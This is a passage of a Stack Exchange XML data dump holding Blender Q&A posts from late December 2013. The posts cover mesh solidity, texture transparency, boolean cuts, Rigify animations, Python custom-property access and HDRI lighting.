  <row Id="5848" PostTypeId="2" ParentId="5838" CreationDate="2013-12-29T01:16:53.660" Score="8" Body="&lt;p&gt;In the example you give, you only want to increase the size on one side of the camera. You would have to.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Increase the X resolution.&lt;/li&gt;&#xA;&lt;li&gt;Adjust the X shift to only cover the right side of the image (otherwise both sides will be increased evenly).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-12-29T01:16:53.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5849" PostTypeId="1" CreationDate="2013-12-29T02:24:48.300" Score="3" ViewCount="25760" Body="&lt;p&gt;So I want to create a solid object or cube. My big problem is that when I create a cube, the cube is hollow - that is, I can create a cube, subdivide it, and then delete one of the faces, and it is just a hollow, empty cube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I create a cube or fill a cube so that it is full? I want to have layer after internal layer.&lt;/p&gt;&#xA;" OwnerUserId="1930" LastActivityDate="2017-08-15T14:15:09.360" Title="How do I create a solid object/cube" Tags="&lt;modeling&gt;" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5850" PostTypeId="2" ParentId="5849" CreationDate="2013-12-29T03:37:05.973" Score="5" Body="&lt;p&gt;Blender is the wrong &lt;a href=&quot;http://en.wikipedia.org/wiki/3D_modeling#Representation&quot; rel=&quot;noreferrer&quot;&gt;type of software&lt;/a&gt; for this. Of course software exists for solid modeling, typically CAD software or simulation software.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Blender and similar software you define the outside shape of objects (mesh modeling). When it comes to cutting them apart and make them look &lt;em&gt;as if&lt;/em&gt; they are filled you would use boolean operators (either directly or as modifier) that &lt;em&gt;simulate&lt;/em&gt; filled objects. They calculate new outside faces to make it look as if the inside of the object is filled. Or you would create the geometry and the faces by hand.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So what you want is not possible with Blender. It depends highly on your specific goal if you need to switch the software or if it is better to adapt your process to Blender.&lt;/p&gt;&#xA;" OwnerUserId="1946" LastActivityDate="2013-12-29T03:37:05.973" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5851" PostTypeId="2" ParentId="5849" CreationDate="2013-12-29T03:44:34.013" Score="5" Body="&lt;p&gt;Without getting too technical, you &lt;strong&gt;&lt;em&gt;cannot&lt;/em&gt;&lt;/strong&gt; create a solid object as you describe in Blender. 3D is already a lie for the most part (basically points and surfaces in virtual space projected to give depth etc). OpenGL, the software interface to graphics hardware that Blender uses draws &lt;em&gt;primitives&lt;/em&gt; &amp;mdash; points, line segments, polygons etc. and primitives are defined by a group of one or more vertices. In most 3D applications, models are represented as shells or cases where only the surface matter, this makes it easy to edit them for one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, there are several ways to fake this in Blender such as using &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modifiers/Generate/Booleans&quot; rel=&quot;noreferrer&quot;&gt;booleans&lt;/a&gt; or the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Subdividing/Bisect&quot; rel=&quot;noreferrer&quot;&gt;bisect&lt;/a&gt; tool. These work in a way such that when a part of the mesh is subtracted, the surface(s) of the affected mesh(es) is closed and this gives an illusion of an object being truly solid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using booleans (dynamic if you use the modifier)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DukSQ.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/378pF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using the bisect tool (takes multiple objects into account)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/n86wq.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;sup&gt;** Images from the Blender wiki.&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-12-29T03:51:16.663" LastActivityDate="2013-12-29T03:51:16.663" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5852" PostTypeId="1" CreationDate="2013-12-29T04:07:51.060" Score="1" ViewCount="42" Body="&lt;p&gt;Normal &lt;img src=&quot;https://i.stack.imgur.com/Kdha3.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In game engine&lt;img src=&quot;https://i.stack.imgur.com/4O21z.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is wrong and how can I fix this ?&lt;/p&gt;&#xA;" OwnerUserId="1993" LastActivityDate="2013-12-29T04:07:51.060" Title="Why does my objects look different when I enter the game engine?" Tags="&lt;game-engine&gt;" AnswerCount="0" CommentCount="1" ClosedDate="2013-12-29T04:10:01.430" ContentLicense="CC BY-SA 3.0" />
  <row Id="5853" PostTypeId="1" CreationDate="2013-12-29T06:25:54.767" Score="2" ViewCount="2986" Body="&lt;p&gt;I am having a problem with a material/texture not showing up transparent as it should in blender 2.69. The material is from a tga file. I have a video showing the problem &lt;a href=&quot;http://knowledgecrazy.com/transparency_problem.webm&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; where the hair should be mostly transparent, but instead shows the default model color of gray.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks like it should when I right click on it, but when I select a different part of the model, it show incorrectly again.  I followed the steps in this &lt;a href=&quot;http://bencrowder.net/art/blender-quicktips/transparent-textures/&quot; rel=&quot;nofollow&quot;&gt;tutorial&lt;/a&gt; and it got it so that it works when it is highlighted at least which is a nice, but it is still not working as can be seen when some other part is selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The blend file can be found &lt;a href=&quot;http://knowledgecrazy.com/zeptoblaster4.blend&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;. Thank you in advance for any help that can be offered.&lt;/p&gt;&#xA;" OwnerUserId="1994" LastEditorUserId="12" LastEditDate="2013-12-29T07:16:38.043" LastActivityDate="2013-12-29T18:02:03.880" Title="Transparency problem with tga material/texture" Tags="&lt;materials&gt;&lt;texturing&gt;&lt;3d-view&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5855" PostTypeId="2" ParentId="5853" CreationDate="2013-12-29T07:10:52.173" Score="1" Body="&lt;p&gt;Tick &lt;em&gt;Transparency&lt;/em&gt; under &lt;em&gt;Display&lt;/em&gt; in the &lt;em&gt;Object&lt;/em&gt; tab. This will have the object's material display any transparency it has in the viewport sans the gray placeholder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xFGQ6.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastEditorUserId="12" LastEditDate="2013-12-29T07:17:49.297" LastActivityDate="2013-12-29T07:17:49.297" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5856" PostTypeId="1" CreationDate="2013-12-29T07:31:58.167" Score="10" ViewCount="17683" Body="&lt;p&gt;Whenever I try to cut out a circular hole in either a cylinder or sphere the polygons around the circular hole always have distorted normals after smoothing. Is there anyway to fix this. I've tried using the remesh modifier but wind up with some pretty ugly results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/0UcW9.png&quot; alt=&quot;After selecting faces and converting to a circle using Loop tools.&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1996" LastEditorUserId="12" LastEditDate="2013-12-29T16:01:44.210" LastActivityDate="2017-11-14T15:43:03.033" Title="Cutting a circular hole in a hollow cylinder without distorting the cylinder" Tags="&lt;mesh&gt;&lt;editing&gt;" AnswerCount="5" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5857" PostTypeId="2" ParentId="5856" CreationDate="2013-12-29T09:35:47.943" Score="0" Body="&lt;p&gt;I think not the cutting but the smoothing is the problem. So perhaps you need a way to cut the hole so you don't need to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is what I get when I use the Boolean modifier and apply it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jNQyt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1982" LastActivityDate="2013-12-29T09:35:47.943" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5858" PostTypeId="2" ParentId="5856" CreationDate="2013-12-29T10:10:27.260" Score="0" Body="&lt;p&gt;Smoothing will always cause problems in situations like this.&#xA;What you need to do is smooth and apply before using a boolean operation never smooth after: Get the cylinder to the levels you want and the circle to the levels you want and then apply the boolean.&#xA;It is the only way to get an undistorted cut.&lt;/p&gt;&#xA;" OwnerUserId="1251" LastActivityDate="2013-12-29T10:10:27.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5859" PostTypeId="2" ParentId="5856" CreationDate="2013-12-29T10:38:54.613" Score="9" Body="&lt;p&gt;you could use the Knife projection (in front mode of the circle ) &#xA;&lt;img src=&quot;https://i.stack.imgur.com/6MFwg.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;select your cylinder and your circle  go into edit mode of your cylinder&#xA;and click while you are in Edit mode  in the T-panel on Knife Project&lt;/p&gt;&#xA;" OwnerUserId="1436" LastActivityDate="2013-12-29T10:38:54.613" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5860" PostTypeId="1" AcceptedAnswerId="5865" CreationDate="2013-12-29T13:47:07.233" Score="1" ViewCount="2338" Body="&lt;p&gt;I've spent some time attaching the Rigify human armature to a skin in Blender, I can import the model into Unity and all looks well with the initial model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand the steps involved in creating key frames for animations however I would like to know if there are any default animations which are designed to work with Rigify which I can apply to any skin I import into Blender?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to use animations composed by someone with more time/experience.&lt;/p&gt;&#xA;" OwnerUserId="1999" LastActivityDate="2014-04-28T22:20:00.883" Title="Importing animations for Rigify in Blender for use in Unity" Tags="&lt;animation&gt;&lt;rigify&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5862" PostTypeId="2" ParentId="5853" CreationDate="2013-12-29T18:02:03.880" Score="1" Body="&lt;p&gt;If iKIsR's solution doesn't work for your case, you may then try to tweak the OpenGL &lt;strong&gt;&lt;em&gt;Clip Alpha&lt;/em&gt;&lt;/strong&gt; value in &lt;strong&gt;User Preferences&lt;/strong&gt; window to fix the display in certain cases.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;gray&quot; color on the hair is the 3D View background color, not the model color. Besides, I know you are talking about the 3D View display issue, but the current hair cannot be actually rendered as trasparent, btw. You need to uncheck the &lt;strong&gt;&lt;em&gt;Face Texture Alpha&lt;/em&gt;&lt;/strong&gt; in &lt;strong&gt;Options&lt;/strong&gt; panel, and check the &lt;strong&gt;&lt;em&gt;Receive Transparent&lt;/em&gt;&lt;/strong&gt; in &lt;strong&gt;Shadows&lt;/strong&gt; panel. Hope it helps anyway.&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2013-12-29T18:02:03.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5863" PostTypeId="2" ParentId="5797" CreationDate="2013-12-29T19:11:50.020" Score="1" Body="&lt;p&gt;I reworked the whole script from bottom up and came up with the solution that I needed. With this script, any object that triggers the near sensor will be pushed from the origin of the object with the near sensor. The &lt;code&gt;from bge import render&lt;/code&gt; and &lt;code&gt;render.drawLine(shieldLoc, objLoc, [0, 0, 255])&lt;/code&gt; is just there to visually see the script when it triggers.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;from bge import render&#xA;from bge import logic&#xA;from mathutils import Vector&#xA;&#xA;def _getForceMagnitude(distance, max_force, max_range):&#xA;    return (distance * (-max_force/max_range)) + max_force&#xA;&#xA;def main():&#xA;    cont = logic.getCurrentController()&#xA;    own = cont.owner&#xA;    scene = logic.getCurrentScene()&#xA;    #sensor and sensor location&#xA;    trigger = cont.sensors[&quot;Near&quot;]&#xA;    shieldLoc = own.worldPosition&#xA;&#xA;if trigger.positive:&#xA;    #iterate through all objects in range&#xA;    obj = trigger.hitObjectList&#xA;    for objList in obj:&#xA;        #location of each object and vecter&#xA;        objLoc = objList.worldPosition&#xA;        dist = own.getDistanceTo(objLoc)&#xA;        vec = objLoc - shieldLoc&#xA;        #applying vecter&#xA;        vec.magnitude = _getForceMagnitude(dist, 50, 25)&#xA;        objList.applyForce(vec)&#xA;        render.drawLine(shieldLoc, objLoc, [0, 0, 255])&#xA;main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1920" LastActivityDate="2013-12-29T19:11:50.020" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5864" PostTypeId="1" AcceptedAnswerId="5866" CreationDate="2013-12-29T19:52:32.937" Score="10" ViewCount="9646" Body="&lt;p&gt;How can I access a custom property of an object from python, the suggestion Blender gives me if I pass the mouse over the custom properties named &quot;prop&quot;,&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.objects[&quot;Cube&quot;].[&quot;prop&quot;] &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;get me this output in the console &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; bpy.data.objects[&quot;Cube&quot;].[&quot;prop&quot;]&#xA;  File &quot;&amp;lt;blender_console&amp;gt;&quot;, line 1&#xA;    bpy.data.objects[&quot;Cube&quot;].[&quot;prop&quot;]&#xA;                             ^&#xA;SyntaxError: invalid syntax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1232" LastActivityDate="2018-04-12T17:28:19.607" Title="How to access custom properties from python" Tags="&lt;python&gt;&lt;properties&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5865" PostTypeId="2" ParentId="5860" CreationDate="2013-12-29T19:57:54.193" Score="0" Body="&lt;p&gt;In the unity asset store, there is a seller named Mixamo. They have an animation store that sells mecanim animations, like a run cycle for $10 each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.assetstore.unity3d.com/#/content/362&quot; rel=&quot;nofollow&quot;&gt;https://www.assetstore.unity3d.com/#/content/362&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a short demo of it:&#xA;&lt;a href=&quot;http://www.youtube.com/watch?v=17V3_j1NZhM&quot; rel=&quot;nofollow&quot;&gt;http://www.youtube.com/watch?v=17V3_j1NZhM&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know, you have to use mecanim (the new and improved animation system in unity).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With the Mixamo animation store you can download and preview the animations on any character. But the names on the bones have to be right. I'm not entirely sure if rigify does this right, should be a minor problem compared to making all those animations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;Oups, according to this page:&#xA;&lt;a href=&quot;http://meglassons.com/?page_id=1971&quot; rel=&quot;nofollow&quot;&gt;http://meglassons.com/?page_id=1971&lt;/a&gt;&#xA;Rigify isn't compatible with mechanim. You have to rename the bones or create the rig yourself.&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2013-12-29T19:57:54.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5866" PostTypeId="2" ParentId="5864" CreationDate="2013-12-29T20:01:38.360" Score="14" Body="&lt;p&gt;You just need to remove the dot, so the correct invocation is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.objects[&quot;Cube&quot;][&quot;prop&quot;]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Python's &lt;a href=&quot;http://docs.python.org/3/reference/expressions.html#subscriptions&quot;&gt;subscription&lt;/a&gt; syntax doesn't use dot character.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: In Python terminology this is known as &lt;code&gt;getitem&lt;/code&gt; rather then &lt;code&gt;getattr&lt;/code&gt; access.&lt;/p&gt;&#xA;" OwnerUserId="185" LastEditorUserId="55" LastEditDate="2013-12-30T00:45:58.773" LastActivityDate="2013-12-30T00:45:58.773" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5867" PostTypeId="2" ParentId="5849" CreationDate="2013-12-29T21:19:15.660" Score="3" Body="&lt;p&gt;Blender has no concept of a solid volume. Faces are a simplification.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are trying to remove the surface of a solid object what do you want to happen? I imagine you want a hole going into the object. This can be done with the extrude operator.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Select the faces you want your hole to be shaped like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/P3kpI.png&quot; alt=&quot;selected faces&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hit &lt;kbd&gt;E&lt;/kbd&gt; for Extrude. Move your mouse to change the depth of the effect. Or type in a numeric value with the keyboard. Finish with &lt;kbd&gt;LMB&lt;/kbd&gt; or &lt;kbd&gt;Enter&lt;/kbd&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The extrusion can go both in and out. If your extrusion go out, type in a negative value to make it go in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Final result can be like:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gfZvI.png&quot; alt=&quot;extruded faces&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2013-12-29T21:19:15.660" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5868" PostTypeId="2" ParentId="5845" CreationDate="2013-12-29T21:55:26.547" Score="13" Body="&lt;p&gt;I have made a little shader that does this. See below for the node setup and a test render.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First there are two shaders, one for the ground (green-brown-noise) and one for the glowing city lights.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Second, there is a mask for the city lights that makes them appear as spots.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Third, and this is answering your question, a value calculated as the dot product between the normal of the planet surface and the vector from the light source to the planet. Very simplified, dot product does this: If they point in the same direction, the dot product will be 1. If they point in opposite direction, dot product is 0. It was a loong time since I studied linear algebra so don't sue me over this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fourth, the second mask is multiplied with the third and this is fed as a factor into the mix node that mixes the two materials (land vs city lights).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Node setup. Note how I had to manually calculate the vector for the dot product. In this case (my planet is at 0, 0, 0) it is only the negative value of the light source position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yLl8o.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/yLl8o.png&quot; alt=&quot;node setup&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Test render:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/yLl8o.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/I4505.png&quot; alt=&quot;test render&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="241" LastEditDate="2019-09-20T14:44:07.320" LastActivityDate="2019-09-20T14:44:07.320" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="5869" PostTypeId="1" CreationDate="2013-12-29T23:01:21.303" Score="1" ViewCount="1040" Body="&lt;p&gt;I made a video in 1080i and it is 25 fps, but when I put in video editor it has twice more frames, as 50 fps video. What could be the problem?&lt;/p&gt;&#xA;" OwnerUserId="1866" LastActivityDate="2014-02-28T03:52:28.027" Title="Strange frame rate" Tags="&lt;video-sequence-editor&gt;&lt;video&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5871" PostTypeId="1" CreationDate="2013-12-30T00:28:16.760" Score="5" ViewCount="11598" Body="&lt;p&gt;I'm creating side skirts for a truck and I am duplicating the frames I want. The problem is it's making the duplicated object into another object. How do I put it into the same one?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/J1r8D.png&quot; alt=&quot;how do I make one file for each model&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2004" LastEditorUserId="12" LastEditDate="2014-04-25T04:55:55.103" LastActivityDate="2015-11-10T18:11:30.863" Title="How do I join several objects into one?" Tags="&lt;modeling&gt;&lt;objects&gt;" AnswerCount="2" CommentCount="33" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5873" PostTypeId="2" ParentId="5871" CreationDate="2013-12-30T00:57:55.517" Score="4" Body="&lt;p&gt;You can join &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects&quot; rel=&quot;nofollow noreferrer&quot;&gt;objects&lt;/a&gt;&lt;/em&gt; by &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Selecting&quot; rel=&quot;nofollow noreferrer&quot;&gt;selecting them&lt;/a&gt; (&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;RMB&lt;/kbd&gt;) and pressing &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt; in the &lt;em&gt;3D view&lt;/em&gt; while on Object mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The selected object(s) will be joined to the &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Objects/Selecting#Selections_and_the_Active_Object&quot; rel=&quot;nofollow noreferrer&quot;&gt;active object&lt;/a&gt;.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The active object the one with the yellow outline, usually the last object selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/NetNV.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="12" LastEditDate="2015-11-10T18:11:30.863" LastActivityDate="2015-11-10T18:11:30.863" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5874" PostTypeId="2" ParentId="5771" CreationDate="2013-12-30T01:44:57.220" Score="1" Body="&lt;p&gt;I believe the answer is &lt;strong&gt;no&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;However, you can clear the list by saving and reopening the .blend:&lt;/p&gt;&#xA;&lt;h2&gt;From the UI:&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Save the file with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Reload it with &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;O&lt;/kbd&gt;&lt;kbd&gt;1&lt;/kbd&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;h2&gt;With python:&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Save the file with &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.ops.wm.html?#bpy.ops.wm.save_mainfile&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;save_mainfile()&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open the file with &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/bpy.ops.wm.html?#bpy.ops.wm.open_mainfile&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;code&gt;open_mainfile()&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;For example:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;file=&amp;quot;/tmp/test.blend&amp;quot;&#xA;bpy.ops.wm.save_mainfile(filepath=file)&#xA;bpy.ops.wm.open_mainfile(filepath=file)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="599" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-12-30T01:44:57.220" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5875" PostTypeId="1" AcceptedAnswerId="5878" CreationDate="2013-12-30T01:47:56.507" Score="8" ViewCount="8281" Body="&lt;p&gt;In experimenting with an hdr environment texture for the World (with Cycles), I do not see very pronounced shadows in my scene even though the image has an uncloudy sun.  I expect my objects to cast shadows because even though the sky is bright, the sun is much brighter.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For outdoor scenes, is it typical practice to use a Sun lamp in addition to the environment texture or am I missing some other setting?&lt;/p&gt;&#xA;" OwnerUserId="1974" LastActivityDate="2020-01-17T20:41:30.877" Title="Should I add a sun lamp when using an hdri environment?" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;texturing&gt;" AnswerCount="2" CommentCount="3" FavoriteCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="5876" PostTypeId="1" CreationDate="2013-12-30T03:09:53.787" Score="0" ViewCount="980" Body="&lt;p&gt;I created this mesh, then made a rig for it and did everything right with the IK rigging.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;As I go to test it I turned the head and half of the face doesn't move with it. I kept trying a multitude of things to get it to move but it just stays there. Can anyone Help me?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Things I have tried Re-rigging it and reapplying the mirror modifier.&lt;/p&gt;&#xA;" OwnerUserId="2006" LastEditorUserId="599" LastEditDate="2014-07-01T20:03:20.343" LastActivityDate="2014-07-01T20:03:20.343" Title="Part of rigged mesh doesn't move with the rig" Tags="&lt;mesh&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5878" PostTypeId="2" ParentId="5875" CreationDate="2013-12-30T09:05:38.130" Score="6" Body="&lt;p&gt;Depends how your hdr looks like. If there is a bright light source, then you might increase contrast for the hdr. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Standard setup gives result like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9KyE1.jpg&quot; alt=&quot;standard environment setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you increase a contrast:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/YCfDQ.jpg&quot; alt=&quot;increased contrast&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can &lt;code&gt;multiply&lt;/code&gt; or perform any other mathematical operation to get the brightness and the contrast you like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also if you'd like to keep the background plate with the original colors, you could mix in original, unchanged background like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XoJoI.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1610" LastActivityDate="2013-12-30T09:05:38.130" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="5879" PostTypeId="2" ParentId="5875" CreationDate="2013-12-30T09:18:56.490" Score="2" Body="&lt;p&gt;Using just a HDR-Environment map leads to less pronounced shadows, you need some objects in the scene to receive the shadow (here just a plane).&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lFuaF.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;sup&gt;HDR environment map from &lt;a href=&quot;http://www.hdri-hub.com/free-samples&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.hdri-hub.com/free-samples&lt;/a&gt; more free HDR samples at &lt;a href=&quot;http://www.openfootage.net/&quot; rel=&quot;nofollow noreferrer&quot;&gt;openfootage&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;p&gt;You could add a &lt;em&gt;Hemi-Lamp&lt;/em&gt; at a position close to the image's sun get well pronounced shadows:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FE2r3.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xrq6D.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;sup&gt;For comparision the hemi-lamp has been changed by a sun.&lt;/sup&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" 